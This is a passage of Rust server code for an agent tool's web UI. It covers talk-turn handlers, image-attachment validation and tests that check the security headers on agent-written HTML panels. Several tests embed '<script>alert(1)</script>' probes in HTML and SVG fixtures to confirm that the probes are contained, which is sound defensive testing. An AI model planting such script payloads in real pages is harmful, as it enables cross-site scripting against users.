3353 let talk = ui.talks.get(&id)?;
3354 if !talk.status.open() {
3355 return Err(ApiError::conflict(format!(
3356 "talk {} is {} and takes no more turns",
3357 talk.short(),
3358 talk.status.as_str()
3359 )));
3360 }
3361 Ok(())
3362 })
3363 .await?;
3364 }
3365
3366 let attachments = {
3371 let ui = Arc::clone(&ui);
3372 let id = id.clone();
3373 let ids = body.attachments.clone();
3374 blocking(move || {
3375 ids.into_iter()
3376 .map(|att_id| {
3377 ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
3378 ApiError::bad_request(format!("unknown attachment `{att_id}`"))
3379 })
3380 })
3381 .collect::<ApiResult<Vec<talk::Attachment>>>()
3382 })
3383 .await?
3384 };
3385
3386 let start = {
3391 let ui = Arc::clone(&ui);
3392 let id = id.clone();
3393 blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
3394 };
3395 let turn_guard = match start {
3396 TalkTurnStart::Claimed(turn_guard) => turn_guard,
3397 TalkTurnStart::Pending => {
3398 return Err(ApiError::conflict(
3399 "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
3400 ));
3401 }
3402 TalkTurnStart::Busy => {
3403 let (view, reclaimed) = {
3406 let ui = Arc::clone(&ui);
3407 let id = id.clone();
3408 let said = body.text.clone();
3409 blocking(move || {
3410 let mut talk = ui.talks.get(&id)?;
3411 if let Err(error) = talk::queue(&mut talk, &ui.talks, &said, attachments) {
3412 if let Ok(fresh) = ui.talks.get(&id) {
3413 if !fresh.status.open() {
3414 return Err(ApiError::conflict(format!(
3415 "talk {} is {} and takes no more turns",
3416 fresh.short(),
3417 fresh.status.as_str()
3418 )));
3419 }
3420 }
3421 return Err(ApiError::from(error));
3422 }
3423 let claim = match ui.begin_queued_talk_turn(&id)? {
3433 Some(turn_guard) => {
3434 let (cfg, _) = Config::discover(&talk.repo, None)?;
3435 Some((talk.clone(), cfg, turn_guard))
3436 }
3437 None => None,
3438 };
3439 let thinking = ui.is_thinking(&id);
3440 Ok((TalkView::new(talk, thinking), claim))
3441 })
3442 .await?
3443 };
3444 if let Some((talk, cfg, turn_guard)) = reclaimed {
3445 let talks = ui.talks.clone();
3446 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
3447 }
3448 return Ok((StatusCode::ACCEPTED, Json(view)));
3449 }
3450 };
3451
3452 let (talk, cfg) = {
3453 let ui = Arc::clone(&ui);
3454 let id = id.clone();
3455 blocking(move || {
3456 let talk = ui.talks.get(&id)?;
3457 let (cfg, _) = Config::discover(&talk.repo, None)?;
3458 Ok((talk, cfg))
3459 })
3460 .await?
3461 };
3462
3463 let talks = ui.talks.clone();
3464 let text = {
3465 let mut talk = talk.clone();
3466 let talks = talks.clone();
3467 let said = body.text.clone();
3468 blocking(move || {
3469 if let Err(error) = talk::record(&mut talk, &talks, &said, attachments) {
3470 if let Ok(fresh) = talks.get(&talk.id) {
3471 if !fresh.status.open() {
3472 return Err(ApiError::conflict(format!(
3473 "talk {} is {} and takes no more turns",
3474 fresh.short(),
3475 fresh.status.as_str()
3476 )));
3477 }
3478 }
3479 return Err(ApiError::from(error));
3480 }
3481 Ok(said.trim().to_owned())
3482 })
3483 .await?
3484 };
3485 let talk = {
3488 let ui = Arc::clone(&ui);
3489 let id = id.clone();
3490 blocking(move || Ok(ui.talks.get(&id)?)).await?
3491 };
3492 let queued = talk.clone();
3493 let thinking = ui.is_thinking(&id);
3494 tokio::spawn(async move {
3495 let mut talk = talk;
3496 if let Err(e) = talk::respond(&mut talk, &talks, &cfg, &text).await {
3497 tracing::warn!("talk {id} turn failed: {e:#}");
3500 }
3501 drain_loop(talk, talks, cfg, id, turn_guard).await;
3504 });
3505
3506 Ok((StatusCode::ACCEPTED, Json(TalkView::new(queued, thinking))))
3508}
3509
3510async fn talk_pending_resume(
3514 State(ui): State<Arc<Ui>>,
3515 Path(id): Path<String>,
3516) -> ApiResult<(StatusCode, Json<TalkView>)> {
3517 let id = {
3518 let ui = Arc::clone(&ui);
3519 let asked = id.clone();
3520 blocking(move || resolve_talk(&ui.talks, &asked)).await?
3521 };
3522 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
3523 return Err(ApiError::conflict(
3524 "a talk turn is already running; the queued draft will be handled by it",
3525 ));
3526 };
3527 let (talk, cfg) = {
3528 let ui = Arc::clone(&ui);
3529 let id = id.clone();
3530 blocking(move || {
3531 let talk = ui.talks.get(&id)?;
3532 if !talk.status.open() {
3533 return Err(ApiError::conflict(format!(
3534 "talk {} is {} and takes no more turns",
3535 talk.short(),
3536 talk.status.as_str()
3537 )));
3538 }
3539 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
3540 return Err(ApiError::conflict("there is no queued draft to resume"));
3541 }
3542 let (cfg, _) = Config::discover(&talk.repo, None)?;
3543 Ok((talk, cfg))
3544 })
3545 .await?
3546 };
3547 let view = TalkView::new(talk.clone(), true);
3548 let talks = ui.talks.clone();
3549 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
3550 Ok((StatusCode::ACCEPTED, Json(view)))
3551}
3552
3553async fn drain_loop(mut talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
3569 let live_set = Arc::clone(&turn.turns);
3570 let mut turn = Some(turn);
3578 loop {
3579 let observed = live_set
3583 .lock()
3584 .unwrap_or_else(PoisonError::into_inner)
3585 .queued
3586 .get(&id)
3587 .copied()
3588 .unwrap_or(0);
3589 let drained = blocking({
3590 let talks = talks.clone();
3591 move || {
3592 let result = talk::drain(&mut talk, &talks);
3593 Ok((talk, result))
3594 }
3595 })
3596 .await;
3597 let (next_talk, result) = match drained {
3598 Ok(drained) => drained,
3599 Err(e) => {
3600 tracing::warn!(
3601 status = %e.status,
3602 message = %e.message,
3603 "talk {id} could not start queued-text drain"
3604 );
3605 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
3606 turn.take()
3607 .expect("held for the whole loop until released here")
3608 .release(&mut live);
3609 break;
3610 }
3611 };
3612 talk = next_talk;
3613 let drained = match result {
3614 Ok(Some(drained)) => drained,
3615 Ok(None) => {
3616 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
3617 if live.queued.get(&id).copied().unwrap_or(0) != observed {
3618 continue;
3619 }
3620 turn.take()
3621 .expect("held for the whole loop until released here")
3622 .release(&mut live);
3623 break;
3624 }
3625 Err(e) => {
3626 tracing::warn!("talk {id} could not drain queued text: {e:#}");
3627 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
3628 turn.take()
3629 .expect("held for the whole loop until released here")
3630 .release(&mut live);
3631 break;
3632 }
3633 };
3634 if let Err(e) = talk::respond(&mut talk, &talks, &cfg, &drained).await {
3635 tracing::warn!("talk {id} turn failed: {e:#}");
3636 }
3637 }
3638}
3639
3640async fn talk_pending_clear(
3642 State(ui): State<Arc<Ui>>,
3643 Path(id): Path<String>,
3644 body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
3645) -> ApiResult<Json<TalkView>> {
3646 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3647 blocking(move || {
3648 let id = resolve_talk(&ui.talks, &id)?;
3649 let mut talk = ui.talks.get(&id)?;
3650 if !talk.status.open() {
3651 return Err(ApiError::conflict(format!(
3652 "talk {} is {} and takes no more turns",
3653 talk.short(),
3654 talk.status.as_str()
3655 )));
3656 }
3657 if !talk::clear_pending_if_matches(
3658 &mut talk,
3659 &ui.talks,
3660 &body.expected_text,
3661 &body.expected_attachments,
3662 )? {
3663 return Err(ApiError::conflict(
3664 "queued message changed; reload it before clearing",
3665 ));
3666 }
3667 let thinking = ui.is_thinking(&talk.id);
3668 Ok(Json(TalkView::new(talk, thinking)))
3669 })
3670 .await
3671}
3672
3673async fn talk_pending_edit(
3677 State(ui): State<Arc<Ui>>,
3678 Path(id): Path<String>,
3679 body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
3680) -> ApiResult<Json<TalkView>> {
3681 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3682 let (view, reclaimed) = blocking({
3683 let ui = Arc::clone(&ui);
3684 move || {
3685 let id = resolve_talk(&ui.talks, &id)?;
3686 let mut talk = ui.talks.get(&id)?;
3687 if !talk.status.open() {
3688 return Err(ApiError::conflict(format!(
3689 "talk {} is {} and takes no more turns",
3690 talk.short(),
3691 talk.status.as_str()
3692 )));
3693 }
3694 if !talk::edit_pending_text(
3695 &mut talk,
3696 &ui.talks,
3697 &body.text,
3698 &body.expected_text,
3699 &body.expected_attachments,
3700 )? {
3701 return Err(ApiError::conflict(
3702 "queued message changed; reload it before editing",
3703 ));
3704 }
3705 let claim = match ui.begin_queued_talk_turn(&id)? {
3706 Some(turn_guard) => {
3707 let (cfg, _) = Config::discover(&talk.repo, None)?;
3708 Some((talk.clone(), cfg, id.clone(), turn_guard))
3709 }
3710 None => None,
3711 };
3712 let thinking = ui.is_thinking(&id);
3713 Ok((TalkView::new(talk, thinking), claim))
3714 }
3715 })
3716 .await?;
3717 if let Some((talk, cfg, id, turn_guard)) = reclaimed {
3718 let talks = ui.talks.clone();
3719 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
3720 }
3721 Ok(Json(view))
3722}
3723
3724async fn talk_close(
3726 State(ui): State<Arc<Ui>>,
3727 Path(id): Path<String>,
3728) -> ApiResult<Json<TalkView>> {
3729 blocking(move || {
3730 let id = resolve_talk(&ui.talks, &id)?;
3731 let mut talk = ui.talks.get(&id)?;
3732 talk::close(&mut talk, &ui.talks)?;
3733 let thinking = ui.is_thinking(&talk.id);
3734 Ok(Json(TalkView::new(talk, thinking)))
3735 })
3736 .await
3737}
3738
3739async fn talk_reopen(
3741 State(ui): State<Arc<Ui>>,
3742 Path(id): Path<String>,
3743) -> ApiResult<Json<TalkView>> {
3744 blocking(move || {
3745 let id = resolve_talk(&ui.talks, &id)?;
3746 let mut talk = ui.talks.get(&id)?;
3747 talk::reopen(&mut talk, &ui.talks)?;
3748 let thinking = ui.is_thinking(&talk.id);
3749 Ok(Json(TalkView::new(talk, thinking)))
3750 })
3751 .await
3752}
3753
3754async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
3764 blocking(move || {
3765 let id = resolve_talk(&ui.talks, &id)?;
3766 ui.talks.remove(&id)?;
3767 Ok(StatusCode::NO_CONTENT)
3768 })
3769 .await
3770}
3771
3772fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
3774 pick(store.list().into_iter().map(|t| t.id).collect(), id, "talk")
3775}
3776
3777async fn talk_attachment_post(
3780 State(ui): State<Arc<Ui>>,
3781 Path(id): Path<String>,
3782 headers: HeaderMap,
3783 body: Bytes,
3784) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
3785 let mime = validate_attachment(&headers, &body)?;
3786 let name = filename_header(&headers);
3787 let data = body.to_vec();
3788 blocking(move || {
3789 let id = resolve_talk(&ui.talks, &id)?;
3790 let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
3791 Ok((StatusCode::CREATED, Json(att)))
3792 })
3793 .await
3794}
3795
3796async fn talk_attachment_get(
3799 State(ui): State<Arc<Ui>>,
3800 Path((id, att)): Path<(String, String)>,
3801) -> ApiResult<Response> {
3802 blocking(move || {
3803 let id = resolve_talk(&ui.talks, &id)?;
3804 let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
3805 return Err(ApiError::not_found(format!(
3806 "talk {id} has no attachment `{att}`"
3807 )));
3808 };
3809 Ok(attachment_response(&meta.mime, data))
3810 })
3811 .await
3812}
3813
3814fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
3825 if data.len() > ATTACHMENT_MAX_BYTES {
3826 return Err(ApiError::bad_request(format!(
3827 "attachment is {} bytes, over the {} MiB limit",
3828 data.len(),
3829 ATTACHMENT_MAX_BYTES / (1024 * 1024)
3830 ))
3831 .with_status(StatusCode::PAYLOAD_TOO_LARGE));
3832 }
3833 if data.is_empty() {
3834 return Err(ApiError::bad_request("attachment is empty"));
3835 }
3836 let declared = declared_mime(headers)?;
3837 match sniffed_mime(data) {
3838 Some(sniffed) if sniffed == declared => Ok(declared),
3839 Some(sniffed) => Err(ApiError::bad_request(format!(
3840 "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
3841 ))),
3842 None => Err(ApiError::bad_request(
3843 "the file's bytes do not match any accepted image format",
3844 )),
3845 }
3846}
3847
3848fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
3852 let raw = headers
3853 .get(header::CONTENT_TYPE)
3854 .and_then(|v| v.to_str().ok())
3855 .unwrap_or("")
3856 .split(';')
3857 .next()
3858 .unwrap_or("")
3859 .trim()
3860 .to_ascii_lowercase();
3861 ATTACHMENT_MIME_WHITELIST
3862 .iter()
3863 .find(|&&m| m == raw)
3864 .copied()
3865 .ok_or_else(|| {
3866 if raw == "image/svg+xml" {
3867 ApiError::bad_request(
3868 "SVG is not accepted: it can carry active content (e.g. a <script>), \
3869 not just a picture",
3870 )
3871 } else if raw.is_empty() {
3872 ApiError::bad_request("Content-Type is required for an attachment upload")
3873 } else {
3874 ApiError::bad_request(format!(
3875 "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
3876 image/gif or image/webp"
3877 ))
3878 }
3879 })
3880}
3881
3882fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
3885 if data.starts_with(b"\x89PNG\r\n\x1a\n") {
3886 Some("image/png")
3887 } else if data.starts_with(b"\xff\xd8\xff") {
3888 Some("image/jpeg")
3889 } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
3890 Some("image/gif")
3891 } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
3892 Some("image/webp")
3893 } else {
3894 None
3895 }
3896}
3897
3898fn filename_header(headers: &HeaderMap) -> String {
3904 headers
3905 .get(FILENAME_HEADER)
3906 .and_then(|v| v.to_str().ok())
3907 .map(str::trim)
3908 .filter(|s| !s.is_empty())
3909 .unwrap_or("attachment")
3910 .to_owned()
3911}
3912
3913fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
3920 let content_type = ATTACHMENT_MIME_WHITELIST
3921 .iter()
3922 .find(|&&m| m == mime)
3923 .copied()
3924 .unwrap_or("application/octet-stream");
3925 (
3926 [
3927 (header::CONTENT_TYPE, content_type),
3928 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
3929 ],
3930 body,
3931 )
3932 .into_response()
3933}
3934
3935async fn config_for(repo: &FsPath) -> ApiResult<Config> {
3943 let repo = repo.to_path_buf();
3944 blocking(move || {
3945 let (cfg, _) = Config::discover(&repo, None)?;
3946 Ok(cfg)
3947 })
3948 .await
3949}
3950
3951fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
3957 let mut hits = ids
3958 .into_iter()
3959 .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
3960 match (hits.next(), hits.next()) {
3961 (Some(one), None) => Ok(one),
3962 (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
3963 (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
3964 "`{prefix}` matches more than one {what}, including {a} and {b}"
3965 ))),
3966 }
3967}
3968
3969#[cfg(test)]
3970mod tests {
3971 use pretty_assertions::assert_eq;
3972 use serde_json::Value;
3973 use tempfile::TempDir;
3974 use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
3975
3976 use super::*;
3977 use crate::config::Config;
3978 use crate::queue::{Source, TaskStatus};
3979
3980 struct Fixture {
3986 home: TempDir,
3987 addr: SocketAddr,
3988 }
3989
3990 impl Fixture {
3991 async fn start() -> Self {
3992 Self::with_loop(launch_idle).await
3993 }
3994
3995 async fn with_loop(launch: Launch) -> Self {
3997 let home = TempDir::new().expect("temp home");
3998 let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch).await;
3999 Self { home, addr }
4000 }
4001
4002 async fn with_repo(repo: PathBuf) -> Self {
4006 let home = TempDir::new().expect("temp home");
4007 let addr = Self::serve(home.path(), repo, launch_idle).await;
4008 Self { home, addr }
4009 }
4010
4011 async fn serve(home: &FsPath, repo: PathBuf, launch: Launch) -> SocketAddr {
4012 let queue = Queue::at(home.join("queue"));
4013 let runs = home.join("runs");
4014 std::fs::create_dir_all(&runs).expect("runs dir");
4015 let worktrees = home.join("wt").join("magi");
4016 std::fs::create_dir_all(&worktrees).expect("worktrees dir");
4017 let ui = Ui::new(
4018 queue,
4019 Questions::at(home.join("questions")),
4020 Talks::at(home.join("talks")),
4021 runs,
4022 home.to_path_buf(),
4023 repo,
4024 )
4025 .with_worktrees_root(worktrees)
4026 .with_launch(launch);
4027 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
4028 .await
4029 .expect("bind loopback");
4030 let addr = listener.local_addr().expect("local addr");
4031 tokio::spawn(async move {
4032 let _ = axum::serve(listener, ui.router()).await;
4033 });
4034 addr
4035 }
4036
4037 fn queue(&self) -> Queue {
4038 Queue::at(self.home.path().join("queue"))
4039 }
4040
4041 fn questions(&self) -> Questions {
4042 Questions::at(self.home.path().join("questions"))
4043 }
4044
4045 fn talks(&self) -> Talks {
4046 Talks::at(self.home.path().join("talks"))
4047 }
4048
4049 fn runs(&self) -> PathBuf {
4050 self.home.path().join("runs")
4051 }
4052
4053 async fn get(&self, path: &str) -> Res {
4054 request(self.addr, "GET", path, None).await
4055 }
4056
4057 async fn head(&self, path: &str) -> Res {
4062 request(self.addr, "HEAD", path, None).await
4063 }
4064
4065 async fn post(&self, path: &str, body: Option<&str>) -> Res {
4066 request(self.addr, "POST", path, body).await
4067 }
4068
4069 async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
4070 request_with(self.addr, "GET", path, None, extra).await
4071 }
4072
4073 async fn delete(&self, path: &str) -> Res {
4074 request(self.addr, "DELETE", path, None).await
4075 }
4076
4077 async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
4079 request_bytes(self.addr, path, headers, body).await
4080 }
4081 }
4082
4083 struct Res {
4084 status: u16,
4085 headers: String,
4086 head: String,
4091 body: String,
4092 bytes: Vec<u8>,
4096 }
4097
4098 impl Res {
4099 fn json(&self) -> Value {
4100 serde_json::from_str(&self.body)
4101 .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
4102 }
4103
4104 fn header(&self, name: &str) -> Option<&str> {
4106 self.head.lines().find_map(|line| {
4107 let (key, value) = line.split_once(':')?;
4108 key.trim()
4109 .eq_ignore_ascii_case(name)
4110 .then(|| value.trim_start().trim_end_matches('\r'))
4111 })
4112 }
4113 }
4114
4115 async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
4118 request_with(addr, method, path, body, &[]).await
4119 }
4120
4121 async fn request_with(
4125 addr: SocketAddr,
4126 method: &str,
4127 path: &str,
4128 body: Option<&str>,
4129 extra: &[(&str, &str)],
4130 ) -> Res {
4131 let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
4132 for (name, value) in extra {
4133 head.push_str(&format!("{name}: {value}\r\n"));
4134 }
4135 if let Some(body) = body {
4136 head.push_str("Content-Type: application/json\r\n");
4137 head.push_str(&format!("Content-Length: {}\r\n", body.len()));
4138 }
4139 head.push_str("\r\n");
4140 if let Some(body) = body {
4141 head.push_str(body);
4142 }
4143 let mut socket = tokio::net::TcpStream::connect(addr)
4144 .await
4145 .expect("connect to the test server");
4146 socket
4147 .write_all(head.as_bytes())
4148 .await
4149 .expect("write request");
4150 let mut raw = Vec::new();
4151 socket.read_to_end(&mut raw).await.expect("read response");
4152 let split = raw
4155 .windows(4)
4156 .position(|w| w == b"\r\n\r\n")
4157 .expect("a header block");
4158 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
4159 let bytes = raw[split + 4..].to_vec();
4160 let status = head
4161 .lines()
4162 .next()
4163 .and_then(|line| line.split_whitespace().nth(1))
4164 .and_then(|code| code.parse().ok())
4165 .expect("a status line");
4166 Res {
4167 status,
4168 headers: head.to_lowercase(),
4169 head,
4170 body: String::from_utf8_lossy(&bytes).into_owned(),
4171 bytes,
4172 }
4173 }
4174
4175 async fn request_bytes(
4181 addr: SocketAddr,
4182 path: &str,
4183 headers: &[(&str, &str)],
4184 body: &[u8],
4185 ) -> Res {
4186 let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
4187 for (name, value) in headers {
4188 head.push_str(&format!("{name}: {value}\r\n"));
4189 }
4190 head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
4191 let mut socket = tokio::net::TcpStream::connect(addr)
4192 .await
4193 .expect("connect to the test server");
4194 socket
4195 .write_all(head.as_bytes())
4196 .await
4197 .expect("write request head");
4198 socket.write_all(body).await.expect("write request body");
4199 let mut raw = Vec::new();
4200 socket.read_to_end(&mut raw).await.expect("read response");
4201 let split = raw
4202 .windows(4)
4203 .position(|w| w == b"\r\n\r\n")
4204 .expect("a header block");
4205 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
4206 let bytes = raw[split + 4..].to_vec();
4207 let status = head
4208 .lines()
4209 .next()
4210 .and_then(|line| line.split_whitespace().nth(1))
4211 .and_then(|code| code.parse().ok())
4212 .expect("a status line");
4213 Res {
4214 status,
4215 headers: head.to_lowercase(),
4216 head,
4217 body: String::from_utf8_lossy(&bytes).into_owned(),
4218 bytes,
4219 }
4220 }
4221
4222 fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
4224 let mut state = RunState::new(
4225 PathBuf::from("/repo/magi"),
4226 "main".to_owned(),
4227 "0123456789abcdef".to_owned(),
4228 "Add a web UI\n\nMobile first.".to_owned(),
4229 Config::default(),
4230 );
4231 state.id = id.to_owned();
4232 state.status = status;
4233 let dir = runs.join(id);
4234 std::fs::create_dir_all(&dir).expect("run dir");
4235 std::fs::write(
4236 dir.join("run.json"),
4237 serde_json::to_string_pretty(&state).expect("serialize run"),
4238 )
4239 .expect("write run.json");
4240 }
4241
4242 fn write_daemon(home: &FsPath, updated_at: Timestamp) {
4243 let body = serde_json::json!({
4244 "schema": 1,
4245 "pid": 4242,
4246 "started_at": Timestamp::now().to_string(),
4247 "updated_at": updated_at.to_string(),
4248 "idle": false,
4249 "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
4250 "completed": 7,
4251 "polls": 143,
4252 });
4253 std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
4254 }
4255
4256 fn launch_idle(
4266 _opts: daemon::Opts,
4267 stop: daemon::Stop,
4268 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
4269 Box::pin(async move {
4270 while !stop.stopped() {
4271 tokio::time::sleep(Duration::from_millis(2)).await;
4272 }
4273 Ok(())
4274 })
4275 }
4276
4277 fn launch_broken(
4280 _opts: daemon::Opts,
4281 _stop: daemon::Stop,
4282 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
4283 Box::pin(async {
4284 Err(anyhow::anyhow!(
4285 "publish the daemon status file: read-only file system"
4286 ))
4287 })
4288 }
4289
4290 static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
4297 static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
4298
4299 fn launch_knocking_on_the_way_out(
4306 _opts: daemon::Opts,
4307 stop: daemon::Stop,
4308 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
4309 Box::pin(async move {
4310 while !stop.stopped() {
4311 tokio::time::sleep(Duration::from_millis(2)).await;
4312 }
4313 let addr = PARK_KNOCK
4314 .lock()
4315 .expect("park knock")
4316 .expect("the test set an address");
4317 let heard = request(addr, "GET", "/api/health", None).await.status;
4318 *PARK_HEARD.lock().expect("park heard") = Some(heard);
4319 Ok(())
4320 })
4321 }
4322
4323 async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
4331 for _ in 0..200 {
4332 let view = fx.get("/api/loop").await.json();
4333 if want(&view) {
4334 return view;
4335 }
4336 tokio::time::sleep(Duration::from_millis(10)).await;
4337 }
4338 panic!(
4339 "the loop never settled: {}",
4340 fx.get("/api/loop").await.json()
4341 );
4342 }
4343
4344 fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
4346 let store = fx.questions();
4347 let mut q = Question::new(
4348 "20260902-000000-beef".to_owned(),
4349 "implement".to_owned(),
4350 "impl-A".to_owned(),
4351 summary.to_owned(),
4352 "because it matters".to_owned(),
4353 choices.iter().map(|c| (*c).to_owned()).collect(),
4354 );
4355 store.put(&mut q).expect("put question");
4356 q.id
4357 }
4358
4359 fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
4365 let store = fx.questions();
4366 let mut q = Question::new(
4367 "20260902-000000-beef".to_owned(),
4368 "land".to_owned(),
4369 "fix".to_owned(),
4370 "Merge this?".to_owned(),
4371 "the diff is in the panel".to_owned(),
4372 vec!["merge".to_owned(), "hold".to_owned()],
4373 );
4374 let staging = fx.home.path().join("staging");
4377 std::fs::create_dir_all(&staging).expect("staging dir");
4378 let sources: Vec<PathBuf> = assets
4379 .iter()
4380 .map(|(name, bytes)| {
4381 let path = staging.join(name);
4382 std::fs::write(&path, bytes).expect("write staged asset");
4383 path
4384 })
4385 .collect();
4386 store
4387 .put_panel(&mut q, html, &sources)
4388 .expect("write the panel");
4389 store.put(&mut q).expect("put question");
4390 q.id
4391 }
4392
4393 fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
4402 let store = fx.talks();
4403 std::fs::create_dir_all(store.root()).expect("talks dir");
4404 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
4405 .expect("serialize a seat");
4406 let body = serde_json::json!({
4407 "schema": 1,
4408 "id": id,
4409 "repo": "/repo/magi",
4410 "agent": "mock",
4411 "status": status,
4412 "turns": [],
4413 "created_at": Timestamp::now().to_string(),
4414 "updated_at": Timestamp::now().to_string(),
4415 "seat": seat,
4416 });
4417 std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
4418 store.get(id).expect("the seeded talk has to be readable");
4419 id.to_owned()
4420 }
4421
4422 #[tokio::test]
4423 async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
4424 let fx = Fixture::start().await;
4425 let id = panel(
4426 &fx,
4427 "<h1>Merge?</h1><img src=\"diff.svg\">",
4428 &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
4429 );
4430
4431 for path in [
4432 format!("/api/questions/{id}/panel"),
4433 format!("/api/questions/{id}/asset/diff.svg"),
4434 ] {
4435 let res = fx.get(&path).await;
4436 assert_eq!(res.status, 200, "{path}: {}", res.body);
4437 assert_eq!(
4443 res.header("content-security-policy"),
4444 Some(
4445 "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
4446 font-src data:; base-uri 'none'; form-action 'none'; \
4447 frame-ancestors 'self'"
4448 ),
4449 "{path} is the only thing between a hostile panel and the tailnet"
4450 );
4451 assert_eq!(
4452 res.header("x-content-type-options"),
4453 Some("nosniff"),
4454 "{path}: a browser must not re-decide the type we sent"
4455 );
4456 assert_eq!(
4457 res.header("referrer-policy"),
4458 Some("no-referrer"),
4459 "{path}: a panel must not leak the question id off the machine"
4460 );
4461
4462 let pre = fx.head(&path).await;
4467 assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
4468 assert_eq!(
4469 pre.header("content-security-policy"),
4470 res.header("content-security-policy"),
4471 "{path}: the preflight carries the same policy"
4472 );
4473 assert_eq!(
4474 pre.header("content-type"),
4475 res.header("content-type"),
4476 "{path}: the preflight carries the same type"
4477 );
4478 }
4479 }
4480
4481 #[tokio::test]
4482 async fn a_panel_reaches_the_browser_byte_for_byte() {
4483 let fx = Fixture::start().await;
4484 let html = "<h1>Merge?</h1><p>a < b — 変更</p><script>alert(1)</script>";
4489 let id = panel(&fx, html, &[]);
4490
4491 let res = fx.get(&format!("/api/questions/{id}/panel")).await;
4492
4493 assert_eq!(res.status, 200);
4494 assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
4495 assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
4496 assert_eq!(
4497 res.header("content-disposition"),
4498 None,
4499 "the panel itself is rendered in the frame, not downloaded"
4500 );
4501 }
4502
4503 #[tokio::test]
4504 async fn an_svg_asset_is_a_download_and_a_png_is_not() {
4505 let fx = Fixture::start().await;
4506 let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
4507 let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
4508 let id = panel(
4509 &fx,
4510 "<img src=\"diff.svg\"><img src=\"shot.png\">",
4511 &[("diff.svg", svg), ("shot.png", png)],
4512 );
4513
4514 let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
4515 let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
4516
4517 assert_eq!(as_svg.status, 200);
4518 assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
4519 assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
4524
4525 assert_eq!(as_png.status, 200);
4526 assert_eq!(as_png.header("content-type"), Some("image/png"));
4527 assert_eq!(
4528 as_png.header("content-disposition"),
4529 None,
4530 "a raster image has no execution surface, so tapping it still shows it"
4531 );
4532 assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
4533 }
4534
4535 #[tokio::test]
4536 async fn an_html_asset_is_never_served_as_html() {
4537 let fx = Fixture::start().await;
4538 let id = panel(
4539 &fx,
4540 "<p>see the notes</p>",
4541 &[
4542 (
4543 "notes.html",
